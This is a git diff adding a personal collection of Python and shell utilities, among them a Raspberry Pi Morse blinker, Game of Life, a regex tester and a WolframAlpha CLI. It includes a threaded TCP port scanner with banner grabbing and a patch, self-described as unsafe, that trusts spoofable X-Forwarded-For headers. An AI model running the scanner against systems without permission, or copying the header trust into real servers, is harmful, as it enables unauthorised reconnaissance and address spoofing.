python3 + +## Output data through raspberry pi LED blinking. Use "echo mmc0 >/sys/class/leds/led0/trigger" to restore normal behavior. + +import sys +import socket +import subprocess +import time +import argparse + + +def morse(s): + code = '_etianmsurwdkgohvf_l_pjbxcyzq__54_3___2__+____16=/_____7___8_90' + + def e(l): + i = code.find(l) + v = '' + while i > 0: + v = '-.'[i % 2] + v + i = (i - 1) // 2 + return v or '/' + return map(e, s) + + +def _blink(t): + subprocess.call(['echo 1 > /sys/class/leds/led0/brightness'], shell=True) + time.sleep(t) + subprocess.call(['echo 0 > /sys/class/leds/led0/brightness'], shell=True) + + +def dot(t): + _blink(t) + + +def dash(t): + _blink(t * 3) + + +def pause(t): + time.sleep(t * 3) + + +def main(): + parser = argparse.ArgumentParser( + description='Output stdin to raspberry led0 in morse') + parser.add_argument('text', nargs='?', help='text to output') + parser.add_argument( + '-u', '--unit', + type=float, default=0.2, + help='time unit in seconds') + parser.add_argument( + '-i', '--ip', + action='store_true', default=False, + help='output local ip address') + parser.add_argument( + '-b', '--bin', + action='store_true', default=False, + help='output using binary encoding') + args = parser.parse_args() + + if args.text: + text = args.text + elif not sys.stdin.isatty(): + text = sys.stdin.read() + elif args.ip: + text = socket.gethostbyname(socket.getfqdn()) + else: + parser.error('the following arguments are required: text') + + if args.bin: + data = (bin(i)[2::] for i in str.encode(text)) + conv = binary_conv + else: + data = morse(text) + conv = morse_conv + + for i in data: + for k in i: + conv[k](args.unit) + time.sleep(args.unit) + +morse_conv = {'.': dot, '-': dash, '/': pause} +binary_conv = {'0': dot, '1': dash} + +if __name__ == '__main__': + main() diff --git a/python/life.py b/python/life.py new file mode 100755 index 0000000..bd1e893 --- /dev/null +++ b/python/life.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python3 + +## The Game of Life using pyglet. A quite slow implementation. + +import pyglet +from pyglet.window import key +import numpy + + +class Application(pyglet.window.Window): + + def __init__(self): + """Window initialization""" + super().__init__(caption="The Game of Life", resizable=True) + self.size = 10 + self.cells = numpy.zeros((self.width // self.size, + self.height // self.size)) + self.running = False + self.full = False + self.frequency = 1 / 120 + pyglet.gl.glClearColor(0, 0.13, 0.16, 1.0) + + def on_mouse_press(self, x, y, button, modifiers): + """Turn alive the cell under the pointer""" + value = False if modifiers == key.MOD_COMMAND else True + if x >= 0 and y >= 0: + try: + self.cells[x // self.size][y // self.size] = value + except IndexError: + pass + + def on_mouse_drag(self, x, y, dx, dy, button, modifiers): + """Turn cells alive while dragging""" + self.on_mouse_press(x, y, button, modifiers) + + def on_mouse_scroll(self, x, y, scroll_x, scroll_y): + self.size += scroll_y + if self.size == 0: + self.size += 1 + self.resize_space() + + def on_key_press(self, button, modifiers): + # Toggle update + if button == key.SPACE: + if self.running: + pyglet.clock.unschedule(self.update) + self.running = False + else: + pyglet.clock.schedule_interval(self.update, self.frequency) + self.running = True + # Reset space + elif button == key.BACKSPACE: + self.cells.fill(0) + # Toggle fullscreen + elif modifiers == key.MOD_COMMAND and button == key.F: + if self.fullscreen: + self.set_fullscreen(False) + self.full = False + else: + self.set_fullscreen() + self.full = True + # Change update frequency + if button == key.SLASH: + self.frequency += 0.1 + if self.running: + pyglet.clock.unschedule(self.update) + pyglet.clock.schedule_interval(self.update, self.frequency) + elif button == key.BRACKETRIGHT: + self.frequency -= 0.1 + if self.running: + pyglet.clock.unschedule(self.update) + pyglet.clock.schedule_interval(self.update, self.frequency) + + def on_resize(self, width, height): + super().on_resize(width, height) + self.resize_space() + + def on_draw(self): + """Draw the frame""" + self.clear() + pyglet.gl.glColor3f(0.15, 0.6, 0.5) + for x, row in enumerate(self.cells): + for y, cell in enumerate(row): + if cell: + self.draw_cell(x, y) + if self.size > 7: + self.draw_grid() + + def resize_space(self): + self.cells.resize((self.width // self.size, self.height // self.size)) + + def draw_grid(self): + """Draw the grid""" + pyglet.gl.glColor3f(0.06, 0.17, 0.21) + for i in range(self.height // self.size): + pyglet.graphics.draw(2, pyglet.gl.GL_LINES, + ('v2i', (0, i * self.size, self.width, i * self.size))) + for j in range(self.width // self.size): + pyglet.graphics.draw(2, pyglet.gl.GL_LINES, + ('v2i', (j * self.size, 0, j * self.size, self.height))) + + def draw_cell(self, x, y): + """Draw a square""" + x, y = x * self.size, y * self.size + x1, y1, x2, y2 = x, y, x + self.size, y + self.size + pyglet.graphics.draw(4, pyglet.gl.GL_QUADS, + ('v2f', (x1, y1, x1, y2, x2, y2, x2, y1))) + + def update(self, dt): + """Calculate the next frame""" + copy = numpy.copy(self.cells) + for x, row in enumerate(self.cells): + for y, cell in enumerate(row): + copy[x][y] = self.alive(x, y) + self.cells = numpy.copy(copy) + + def alive(self, x, y): + """Calculate if a cell will be alive in the next frame""" + livings = 0 + for i in (-1, 0, 1): + for j in (-1, 0, 1): + try: + if (self.cells[x + i][y + j] + and x + i > 0 and y + j > 0): + livings += 1 + except IndexError: + continue + if self.cells[x][y]: + livings -= 1 + if not self.cells[x][y] and livings == 3: + return 1 + elif self.cells[x][y] and livings in (2, 3): + return 1 + else: + return 0 + +app = Application() +pyglet.app.run() diff --git a/python/morse.py b/python/morse.py new file mode 100644 index 0000000..c4d16e8 --- /dev/null +++ b/python/morse.py @@ -0,0 +1,3 @@ +## Morse code golf + +print(''.join([("te","mnai","ogkdwrus","cöqzycxbjpälüfvh")[len(i)-1][int(i,2)]for i in input().replace(".","1").replace("-","0").split(" ")])) diff --git a/python/oeis.py b/python/oeis.py new file mode 100755 index 0000000..4697231 --- /dev/null +++ b/python/oeis.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python3 + +## Search the OEIS database + +import re +import sys +import argparse +import requests + + +def main(): + parser = argparse.ArgumentParser(description="Search the OEIS database") + mode = parser.add_mutually_exclusive_group(required=True) + mode.add_argument( + '-s', '--sequence', nargs='+', type=int, + help="Search for a sequence") + mode.add_argument( + "-i", "--id", type=str, + help="retrive sequence by OEIS id") + args = parser.parse_args() + + #Print first result for given id + if args.id: + payload = {"fmt": "text", "q": "id:" + sys.argv[2]} + request = requests.get("http://oeis.org/search", params=payload) + text = request.text.split("\n")[6:-2] + + print(args.id) + for i, row in enumerate(text): + row = re.sub("\(AT\)", "@", row) + row = re.sub("(.+)", "[\g<2>](\g<1>)", row) + if text[i - 1][:2] != text[i][:2]: + print(" ") + print(row[11:]) + + #Print results + else: + payload = {"fmt": "text", "q": ",".join(map(str, args.sequence))} + request = requests.get("http://oeis.org/search", params=payload) + print(request.text) + text = request.text.split("\n\n")[2:-1] + + for sequence in text: + sequence = sequence.split("\n") + code = sequence[0][3::] + for row in sequence: + if row[:2] == "%N": + print(row[3:10], "-", row[11:], sep=" ") + break + +if __name__ == "__main__": + main() diff --git a/python/prelude.py b/python/prelude.py new file mode 100644 index 0000000..5599667 --- /dev/null +++ b/python/prelude.py @@ -0,0 +1,201 @@ +## Haskell prelude in python + +from functools import reduce, partial +from ast import literal_eval +from math import * + +# make a function an infix operator +class infix: + def __init__(self, f): + self.f = f + + def __or__(self, other): + return self.f(other) + + def __ror__(self, other): + return infix(partial(self.f, other)) + + def __call__(self, x, y): + return self.f(x, y) + + +# make function composable +class compose: + def __init__(self, f): + self.f = f + + def __call__(self, *args, **kwargs): + return self.f(*args, **kwargs) + + def __mul__(self, other): + return compose(self._compose(other)) + + def __lshift__(self, x): + return self.f(x) + + def _compose(self, g): + return lambda *args, **kwargs: self.f(g(*args, **kwargs)) + + +# curry and compose a function +def curry(x, argc=None): + if argc is None: + try: + argc = x.__code__.co_argcount + except AttributeError: + # if x is a composable + argc = x.f.__code__.co_argcount + def p(*a): + if len(a) == argc: + return x(*a) + def q(*b): + return x(*(a + b)) + return curry(q, argc - len(a)) + return compose(p) + + +# functions to be redefined +_print, _range = print, range +_filter, _map, _zip = filter, map, zip +_list, _str, _chr = list, str, chr +_all, _any = all, any + + +# python +list = compose (_list) +chr = compose (_chr) +range = compose (lambda a, b, s=1: + list << _range(a, b+1, s) if isinstance (a, int) + else map (chr) << _range (ord(a), ord(b)+1, s)) + +# Operators +add = curry (lambda y, x: x + y) +sub = curry (lambda y, x: x - y) +mult = curry (lambda y, x: x * y) +quot = infix (lambda x, y: x // y) +rem = infix (lambda x, y: x % y) + +# Tuples +fst = compose (lambda t: t[0]) +snd = compose (lambda t: t[1]) + +# Higher order functions +map = curry (lambda f, xs: list << _map (f, xs)) +filter = curry (lambda f, xs: list << _filter (f, xs)) +foldl = curry (lambda f, xs: reduce (f, xs)) +foldr = curry (lambda f, xs: reduce (f, xs[::-1])) + +# Miscellaneous +flip = curry (lambda f, a, b: f (b, a)) +id = compose (lambda x: x) +const = compose (lambda x, _: x) +do = lambda *x: any([x]) + +# Boolean +no = compose (lambda x: not x) +ee = curry (lambda x, y : x and y) +oo = curry (lambda x, y : x or y) +all = curry (lambda xs: _all(xs)) +any = curry (lambda xs: _any(xs)) + +# Numerical +even = compose (lambda x: x % 2 == 0) +odd = no * even +gcd = compose (lambda x, y, + gcd_=lambda x, y: x if y == 0 + else gcd (y, x |rem| y): + gcd_ (abs(x), abs(y))) +lcm = compose (lambda x, y: 0 if no (x or y) + else (x |quot| gcd (x, y))*2) + +# List +head = compose (lambda xs: xs[0]) +last = compose (lambda xs: xs[-1]) +tail = compose (lambda xs: xs[1:]) +init = compose (lambda xs: xs[0:-1]) +null = compose (lambda xs: len (xs) == 0) +length = compose (len) +reverse = compose (lambda xs: xs[::-1]) + +# Special folds +sum = compose (lambda xs: foldl (add, xs)) +product = compose (lambda xs: foldl (mult, xs)) +concat = compose (lambda xs: + (lambda r=[x for x in (x for x in xs)]: + ''.join(r) if isinstance(xs[0], str) + else r)()) +concatMap = curry (lambda f, xs: concat << map (f) (xs)) +maximum = compose (lambda xs: max (xs)) +minimum = compose (lambda xs: min (xs)) + +# Building lists +scanl = curry (lambda f, z: add ([z]) * map (f (z))) +scanr = curry (lambda f, z: scanl (f, z) * reverse) + +# Sublist +take = curry (lambda n, xs: xs[:n]) +drop = curry (lambda n, xs: xs[n:]) +splitAt = curry (lambda n, xs: (xs[:n], xs[n:])) +takeWhile = curry (lambda p, xs: + [] if no * p << head (xs) + else [head (xs)] + takeWhile (p) (tail (xs))) +dropWhile = curry (lambda p, xs: + [] if null (xs) + else dropWhile (p) << tail (xs) if p << head (xs) + else xs) +span = curry (lambda p, xs: + (xs, xs) if null (xs) + else ([], xs) if no * p << head (xs) + else (lambda k = span (p, tail (xs)): + ([head (xs)] ++ fst (k), snd (k)) + )()) +break_ = curry (lambda p, xs: span (no * pi) (xs)) + +# Searching lists +elem = curry (lambda x, xs: x in xs) +notElem = curry (no * elem) +lookup = curry (lambda x, ks: ks.get(x)) + +# Zipping and unzipping lists +zip = curry (lambda xs, ys: list << _zip (xs, ys)) +zip3 = curry (lambda xs, ys, zs: list << _zip (xs, ys, zs)) +zipWith = curry (lambda f, xs, ys: list << _map (f, xs, ys)) +zipWith3 = curry (lambda f, xs, ys, zs: list << _map (f, xs, ys, zs)) +unzip = compose (lambda xs: list << _zip(*xs)) +unzip3 = unzip + +# Functions on strings +lines = compose (lambda x: x.split('\n')) +words = compose (lambda x: x.split()) +unlines = compose (lambda x: '\n'.join(x)) +unwords = compose (lambda x: ' '.join(x)) + +# Converting to String +show = str + +# Converting from String +read = compose (literal_eval) + +# Output functions +putStr = compose (lambda x: _print (x, end="")) +putStrLn = compose (lambda x: _print (x)) +print = putStrLn * show + +# Input functions +getLine = compose (input) + +main = do ( + print ("Is this Haskell?"), + # Is this a let? + (lambda n = mult (3) * product * filter (odd) * init << range (1, 10), + k = 14 |quot| 3, # infix? + e = lcm (620, 12): + print << (n, k, e) + )(), + print * concat << range ('a', 'f'), + print * scanl (mult, 2) * snd * splitAt (3) << range (10, 20), + print * concatMap (add ("! ")) << ["hey", "hi", "what"], + print << dropWhile (odd) ([1,3,5,8,11,12]), + print << zip3 ([1,2,3], [4,5,6], [3,4,5]), + +) diff --git a/python/proxy-ip.py b/python/proxy-ip.py new file mode 100644 index 0000000..4e0af23 --- /dev/null +++ b/python/proxy-ip.py @@ -0,0 +1,12 @@ +## Unsafe way to get the address behind a proxy in werkzeug. + +import werkzeug.serving + +class RequestHandler(werkzeug.serving.WSGIRequestHandler): + def address_string(self): + addrs = self.headers['x-forwarded-for'] + if addrs: + return addrs.split(',')[-1] + return self.client_address[0] + +werkzeug.serving.WSGIRequestHandler = RequestHandler diff --git a/python/pychat.py b/python/pychat.py new file mode 100755 index 0000000..0f55805 --- /dev/null +++ b/python/pychat.py @@ -0,0 +1,121 @@ +#!/usr/bin/env nix-script +#!>python3 + +## write to a file in a chat-like fashion + +import subprocess +import time +import threading +import readline +import sys +import os + +def sprint(*args, **kwargs): + ''' + Safe print + Write automagically to stdout while reading + from stdin without mixing any text. + ''' + line_length = len(readline.get_line_buffer())+2 + sys.stdout.write('\r' + ' ' * line_length +'\r') + print(*args, **kwargs) + sys.stdout.write(prompt() + readline.get_line_buffer()) + sys.stdout.flush() + + +def clear(): + '''Clear the screen''' + cmd = 'cls' if sys.platform == 'win32' else "clear && printf '\e[3J'" + subprocess.call(cmd, shell=True) + +def terminal_size(): + '''Get size of terminal window (lines, columns)''' + def ioctl_GWINSZ(fd): + try: + import fcntl, termios, struct, os + cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ, + '1234')) + except: + return + return cr + cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) + if not cr: + try: + fd = os.open(os.ctermid(), os.O_RDONLY) + cr = ioctl_GWINSZ(fd) + os.close(fd) + except: + pass + if not cr: + env = os.environ + cr = (env.get('LINES', 25), env.get('COLUMNS', 80)) + return list(map(int, cr)) + + +def timestamp(message): + '''Add timestamp to a message''' + stamp = time.strftime('%d.%m.%y - %H:%M:%S') + return '{} {}: {}\n'.format(stamp, username, message) + + +def update(): + '''Keep the console output updated''' + global previous + + while True: + time.sleep(0.1) + file.seek(0) + current = file.read() + if current == previous: + pass + else: + clear() + sprint(current) + previous = current + + +def read(): + '''Prompt user for input''' + global previous + global username + text = input(prompt()) + + if text.startswith('/'): + command = text[1:].split() + if command[0] == 'quit': + sys.exit() + elif command[0] == 'setname': + username = ' '.join(command[1:]) + elif command[0] == 'clear': + file.seek(0) + file.truncate() + clear() + elif text != '': + file.write(timestamp(text)) + file.write('\n') + else: + previous=file.read() + + +mod = lambda x: (0 if x<0 else x) + +previous = '' +username = 'Michele' + +chat_size = lambda: sum(1 for _ in open('log.txt')) +offset = lambda: '\n' * mod(terminal_size()[0] - chat_size() - 2) +prompt = lambda: offset() + username + '>> ' + + +file = open('log.txt', 'a+') +thread = threading.Thread(target=update, daemon=True) + + +if __name__ == '__main__': + try: + thread.start() + clear() + while True: + read() + except KeyboardInterrupt: + print() diff --git a/python/requery.py b/python/requery.py new file mode 100755 index 0000000..2d3c4cb --- /dev/null +++ b/python/requery.py @@ -0,0 +1,123 @@ +#!/usr/bin/env nix-script +#!>python3 + +## Regex tester + +import tkinter +import tkinter.messagebox +import traceback + + +class Text(tkinter.Text): + """ + Tkinter Text Widget + Override that allows to highlight words with regex. + """ + def __init__(self, *args, **kwargs): + tkinter.Text.__init__(self, *args, **kwargs) + + def highlight(self, pattern, tag, start="1.0", stop="end", regex=True): + """ + Highlight text matched by "pattern" and apply it the tag "tag" + Specify "start" and "stop" in order to restrict the search and + regex=False if pattern is not a regex. + """ + start = self.index(start) + stop = self.index(stop) + self.mark_set("matchStart", start) + self.mark_set("matchEnd", start) + self.mark_set("searchLimit", stop) + occurrences = tkinter.IntVar() + while True: + index = self.search( + pattern, + "matchEnd", + "searchLimit", + count=occurrences, + regexp=regex + ) + if index == "": + break + self.mark_set("matchStart", index) + self.mark_set("matchEnd", "%s+%sc" % (index, occurrences.get())) + self.tag_add(tag, "matchStart", "matchEnd") + + +class Application(tkinter.Frame): + """ + Application + Initialize it with a window created by Tk(). + """ + def __init__(self, window): + tkinter.Frame.__init__(self, window) + + self.options = { + "font": ("Monaco", 13), + "borderwidth": 2, + "highlightthickness": 0, + "relief": "sunken", + "insertbackground": "#fff" + } + self.last = "" + + #Window settings + window.columnconfigure(1, weight=1) + window.rowconfigure(0, weight=1) + window.geometry("800x500+540+300") + window.title("reQuery") + + #Inizialize + self.grid() + self.widgets() + + #Main loop + self.loop() + + def widgets(self): + """Create and draw the widgets of the window.""" + self.search = Text( + window, width=100, height=30, **self.options) + self.expression = tkinter.Entry(window, **self.options) + + #Layout + self.search.grid( + column=1, row=0, sticky="nswe", pady=(6, 3), padx=6) + self.expression.grid( + column=1, row=1, sticky="nswe", pady=(3, 6), padx=6) + + def test(self): + """ + Highlight in the text output generated by the search + If this is not valid is colored in red. + If it is valid is colored in green as well as the text + to which it corresponds. + """ + + expression = self.expression.get() + if expression == "" or expression == self.last: + return + try: + self.search.tag_configure("result", foreground="#648f00") + self.search.highlight(expression, "result") + except tkinter.TclError: + self.expression.config(fg="#92182b") + tkinter.messagebox.showerror( + "reQuery", "Syntax error", + detail=traceback.format_exc(0).split(":")[3]) + self.display_error = False + else: + self.expression.config(fg="#648f00") + self.last = expression + + def loop(self): + """ + Main loop + Executed every 200 ms. + Updates regex search. + """ + self.test() + self.after(200, self.loop) + +window = tkinter.Tk() +app = Application(window) +app.mainloop() diff --git a/python/scanner.py b/python/scanner.py new file mode 100755 index 0000000..e75490d --- /dev/null +++ b/python/scanner.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python3 + +## Simple TCP port scanner + +import argparse +import re +import ast +import socket +import io +import concurrent.futures + + +def _ports(port): + """ + Validates argparse port argument. + Accepts a single port, a port range or a list (comma separated). + """ + + valid_range = range(1, 65535 + 1) + range_re = re.compile("\d+:\d+") + list_re = re.compile("(\d+,\d+)+") + + try: + port = int(port) + if port not in valid_range: + raise argparse.ArgumentTypeError("Port must be 1-65535") + return [port] + except ValueError: + if range_re.match(port): + start, stop = (int(i) for i in port.split(":")) + if (start not in valid_range + or stop not in valid_range + or start > stop): + raise argparse.ArgumentTypeError("Invalid range: " + port) + return range(start, stop + 1) + elif list_re.match(port): + try: + return [i for i in ast.literal_eval(id) if i in valid_range] + except: + raise argparse.ArgumentTypeError("Invalid list: " + port) + + +def _hostname(name): + """ + Validates argparse hostname argument. + Accepts an ip address or a domain name. + """ + + try: + socket.gethostbyname(name) + return name + except socket.gaierror: + raise argparse.ArgumentTypeError("Invalid hostname: " + name) + try: + socket.inet_aton(name) + return name + except socket.error: + raise argparse.ArgumentTypeError("Invalid ip address: " + name) + + +def connect(hostname, port, verbose, banner): + """ + Connects to a given hostname and port. + Set banner to True to get the application banner. + Set verbose level (1,2,3) to get more informations. + """ + + out = io.StringIO() + try: + connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + connection.connect((hostname, port)) + print("[+] %d open" % port, file=out) + if banner: + connection.send("hi\r\n".encode("utf-8")) + banner = connection.recv(100).decode("utf-8").strip("\n") + print(" ┖──[b] " + banner, file=out) + connection.close() + except ConnectionRefusedError as e: + if verbose > 0: + print("[-] %d closed" % port, file=out) + if verbose > 1: + print(" ┖──[v] %s" % e, file=out) + except socket.timeout: + if banner and verbose > 1: + print(" ┖──[b] No response", file=out) + return out + + +def scan(hostname, ports, verbose=0, banner=False): + """Perform a scan on the given hostname and ports.""" + socket.setdefaulttimeout(2) + try: + name = socket.gethostbyaddr(hostname) + print("[*] Scanning " + name[0]) + except socket.error as e: + print("[*] Scanning " + hostname) + with concurrent.futures.ThreadPoolExecutor(100) as executor: + threads = [] + for port in ports: + threads.append(executor.submit(connect, hostname, port, verbose, banner)) + for i in threads: + print(i.result().getvalue(), end="") + + +def main(): + parser = argparse.ArgumentParser(description="Simple TCP port scanner.") + parser.add_argument( + "hostname", type=_hostname, + help="Hostname, ip address.") + parser.add_argument( + "ports", type=_ports, + help="Single port, range a:b or list (comma separated)") + parser.add_argument( + "-v", "--verbose", + action="count", default=0, + help="Show more information") + parser.add_argument( + "-b", "--banner", + action="store_true", default=False, + help="Get application banner.") + args = parser.parse_args() + + scan(**vars(args)) + +if __name__ == "__main__": + main() diff --git a/python/socks.py b/python/socks.py new file mode 100644 index 0000000..fc22cd9 --- /dev/null +++ b/python/socks.py @@ -0,0 +1,17 @@ +## Patch for request and mechanize which force them to use for through a SOCKS5 proxy + +import requests + +import socks +import socket + +def create_connection(address, timeout=None, source_address=None): + sock = socks.socksocket() + sock.connect(address) + return sock + +socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150) +socket.socket = socks.socksocket +socket.create_connection = create_connection + +print(requests.get('http://icanhazip.com').text) diff --git a/python/spectrum.py b/python/spectrum.py new file mode 100755 index 0000000..669f63e --- /dev/null +++ b/python/spectrum.py @@ -0,0 +1,77 @@ +#!/usr/bin/env nix-script +#!>python +#! python | matplotlib numpy scipy pyaudio + +## Real-time sound spectrum analysis. + +import pyaudio +import scipy.fftpack +import scipy.interpolate +import numpy +import pylab + +#pyAudio settings +settings = { + "format": pyaudio.paInt16, + "channels": 2, + "rate": 96000, + "input": True, + "frames_per_buffer": 1024 +} +audio = pyaudio.PyAudio() +stream = audio.open(**settings) + +#pyLab configurations +pylab.ion() +figura, (spectrum_log, spectrum, wave) = pylab.subplots(nrows=3, ncols=1) +pylab.subplots_adjust(hspace=0.5, left=0.1) + +#Plot settings +spectrum_log.set_ylabel("a (dB)") +spectrum_log.set_xlabel("ƒ (Hz)") +spectrum_log.ticklabel_format(style="sci", scilimits=(0, 0), axis="x") +spectrum_log.grid(True) +curve1, = spectrum_log.plot([0, 8 * 10 ** 3], [0, 10 ** 2], "b-") + +spectrum.yaxis.set_visible(False) +spectrum.set_xlabel("ƒ (Hz)") +spectrum.ticklabel_format(style="sci", scilimits=(0, 0), axis="x") +spectrum.grid(True) +curve2, = spectrum.plot([0, 8 * 10 ** 3], [0, 10 ** 5]) + +wave.xaxis.set_visible(False) +wave.yaxis.set_visible(False) +curve3, = wave.plot([0, 8 * 10 ** 3], [-2 * 10 ** 3, 2 * 10 ** 3], "g-") + +#Main loop +while True: + #Acquire data from microphone + try: + block = numpy.array(numpy.fromstring( + stream.read(settings["frames_per_buffer"]), dtype="int16")) + except IOError: + continue + + #FFT of registred block + fftx = scipy.fftpack.rfftfreq( + settings["frames_per_buffer"], + 1 / settings["rate"]) + + #Calculate log version + ffty = abs(scipy.fftpack.fft(block)[0:len(fftx)]) + ffty_log = 10 * scipy.log10(ffty) + + #Data interpolation + wave = scipy.interpolate.interp1d(fftx, block[0:len(fftx)])(fftx) + + #Update plot data + curve1.set_xdata(fftx) + curve2.set_xdata(fftx) + curve3.set_xdata(fftx) + + curve1.set_ydata(ffty_log) + curve2.set_ydata(ffty) + curve3.set_ydata(wave) + + #Redraw + pylab.draw() diff --git a/python/zalgo.py b/python/zalgo.py new file mode 100755 index 0000000..68e8b5d --- /dev/null +++ b/python/zalgo.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python3 + +import random +import argparse + +#Characters +superscript = [ + "\u030d", "\u030e", "\u0304", "\u0305", "\u033f", + "\u0311", "\u0306", "\u0310", "\u0352", "\u0357", + "\u0351", "\u0307", "\u0308", "\u030a", "\u0342", + "\u0343", "\u0344", "\u034a", "\u034b", "\u034c", + "\u0303", "\u0302", "\u030c", "\u0350", "\u0300", + "\u030b", "\u030f", "\u0312", "\u0313", "\u0314", + "\u033d", "\u0309", "\u0363", "\u0364", "\u0365", + "\u0366", "\u0367", "\u0368", "\u0369", "\u036a", + "\u036b", "\u036c", "\u036d", "\u036e", "\u036f", + "\u033e", "\u035b", "\u0346", "\u031a" +] + +middlescript = [ + "\u0315", "\u031b", "\u0340", "\u0341", "\u0358", + "\u0321", "\u0322", "\u0327", "\u0328", "\u0334", + "\u0335", "\u0336", "\u034f", "\u035c", "\u035d", + "\u035e", "\u035f", "\u0360", "\u0362", "\u0338", + "\u0337", "\u0361", "\u0489" +] + +subscript = [ + "\u0316", "\u0317", "\u0318", "\u0319", "\u031c", + "\u031d", "\u031e", "\u031f", "\u0320", "\u0324", + "\u0325", "\u0326", "\u0329", "\u032a", "\u032b", + "\u032c", "\u032d", "\u032e", "\u032f", "\u0330", + "\u0331", "\u0332", "\u0333", "\u0339", "\u033a", + "\u033b", "\u033c", "\u0345", "\u0347", "\u0348", + "\u0349", "\u034d", "\u034e", "\u0353", "\u0354", + "\u0355", "\u0356", "\u0359", "\u035a", "\u0323" +] + +types = {"a": superscript, "b": middlescript, "c": subscript} + + +def main(): + parser = argparse.ArgumentParser(description="Zalgo text generator") + parser.add_argument("chars", type=str, + help="a: superscript b: middlescript c: subscript") + parser.add_argument("n", type=int, + help="number of chars to append to the text") + parser.add_argument("text", type=str, + help="text to convert") + args = parser.parse_args() + + #Only use selected chars + chars = [types[i] for i in args.chars] + zalgo = [] + + for char in args.text: + for i in range(args.n): + #Append 2 random chars for each one + char = "{}{}{}".format( + random.choice(random.choice(chars)), + char, random.choice(random.choice(chars))) + zalgo.append(char) + print("", "".join(zalgo), "", sep="\n") + +if __name__ == "__main__": + main() diff --git a/scripts/brightness b/scripts/brightness new file mode 100755 index 0000000..63ffee7 --- /dev/null +++ b/scripts/brightness @@ -0,0 +1,39 @@ +#!/bin/sh + +# Set brightness for DDC/CI enabled monitors + +export PATH="/var/setuid-wrappers:$PATH" + +# monitor i2c device +device=dev:/dev/i2c-0 + +# brightness values +night=35 +transition=45 +daytime=60 + + +deref() { + eval "echo \$$1" +} + +set_brightness() { + sudo ddccontrol $device -r 0x10 -w > /dev/null $1 2>&1 +} + +fade_to() { + current=$(sudo ddccontrol $device -r 0x10 2> /dev/null | grep -oP '\+/\K[0-9]+') + [ $current -gt $1 ] && step=-1 || step=1 + for i in $(seq $current $step $1); do + set_brightness $i + sleep 1 + done +} + + +if [ $1 = "period-changed" ]; then + if ! (lsmod | grep -q "^i2c_dev"); then + sudo modprobe i2c-dev + fi + fade_to $(deref $3) +fi diff --git a/scripts/haddock-upload b/scripts/haddock-upload new file mode 100755 index 0000000..45db563 --- /dev/null +++ b/scripts/haddock-upload @@ -0,0 +1,50 @@ +#!/usr/bin/env nix-script +#!>zsh +#! shell | zsh curl haskellPackages.cabal-install + +# functions +conf(){ cat *.cabal | grep -Po "^$1:\s+\K.+" } +input(){ read "reply?$1 "; echo ${reply:-$2} } +inputpw(){ echo -n "$1 " >&2; scat --silent --nocode -n 24 -S $2; echo >&2 } + +# parameters +package=$(conf name) +version=$(conf version) +author=$(conf author) + +# authentication +user=$(input "user ($author):" $author) +password=$(inputpw "password:" hackage) + +cabal configure && +cabal build && +cabal haddock \ + --hyperlink-source \ + --html-location='/package/$pkg-$version/docs' \ + --contents-location='/package/$pkg' + +S=$? +if [ "$S" = "0" ]; then + cd dist/doc/html + ddir="$package-$version-docs" + cp -rf $package $ddir && + tar -cz --format=ustar -f "$ddir.tar.gz" $ddir + CS=$? + if [ "$CS" -eq "0" ]; then + echo "Uploading to Hackage..." + curl \ + -X PUT \ + -H 'Content-Type: application/x-tar' \ + -H 'Content-Encoding: gzip' \ + -u "$user:$password" \ + --data-binary "@$ddir.tar.gz" \ + "https://hackage.haskell.org/package/$package-$version/docs" + exit $? + else + echo "Error when packaging the documentation." + exit $CS + fi +else + echo "Error when trying to build the package." + exit $S +fi \ No newline at end of file diff --git a/scripts/lock b/scripts/lock new file mode 100755 index 0000000..bec03ab --- /dev/null +++ b/scripts/lock @@ -0,0 +1,10 @@ +#!/bin/sh +icon=$HOME/img/misc/lock.png +tmpbg=/tmp/screenshot.png + +(( $# )) && { icon=$1; } + +scrot $tmpbg +gm convert $tmpbg -scale 10% -scale 1000% $tmpbg +gm composite -resize 256x256^ -gravity center $icon $tmpbg $tmpbg +i3lock -e -u -i $tmpbg 2>/dev/null diff --git a/scripts/wa b/scripts/wa new file mode 100755 index 0000000..80bef67 --- /dev/null +++ b/scripts/wa @@ -0,0 +1,44 @@ +#!/usr/bin/env sh + +## WolframAlpha CLI + +# load api key +token="${XDG_CONFIG_HOME:-$HOME}/wolfram" +source $token + +# properly encode query +q=$(echo ${*} | sed 's/+/%2B/g' | tr '\ ' '\+') + +# fetch and parse result +result=$(curl -s "http://api.wolframalpha.com/v2/query?input=${q}&appid=${API_KEY}&format=plaintext") + +if [ -n "$(echo ${result} | grep 'Invalid appid')" ] ; then + echo "Invalid API key!" + echo "Get one at https://developer.wolframalpha.com/portal/apisignup.html" + echo -n 'Enter your WolframAlpha API key:' + read api_key + echo "API_KEY=${api_key}" >> $token + exit 1 +fi + +result=`echo "${result}" \ + | tr '\n' '\t' \ + | sed -e 's//\'$'\n<plaintext>/g' \ + | grep -oE "<plaintext>.*</plaintext>|<pod title=.[^\']*" \ + | sed -e 's!<plaintext>!!g; \ + s!</plaintext>!!g; \ + s!<pod title=.*!\\\x1b[1;36m&\\\x1b[0m!g; \ + s!^! !g; \ + s!<pod title=.!\n!g; \ + s!\&amp;!\&!g; \ + s!\&lt;!<!g; \ + s!\&gt;!>!g; \ + s!\&quot;!"!g' \ + -e "s/\&apos;/'/g" \ + | tr '\t' '\n' \ + | sed '/^$/d; \ + s/\ \ */\ /g; \ + s/\\\:/\\\u/g'` + +# print result +echo -e "${result}"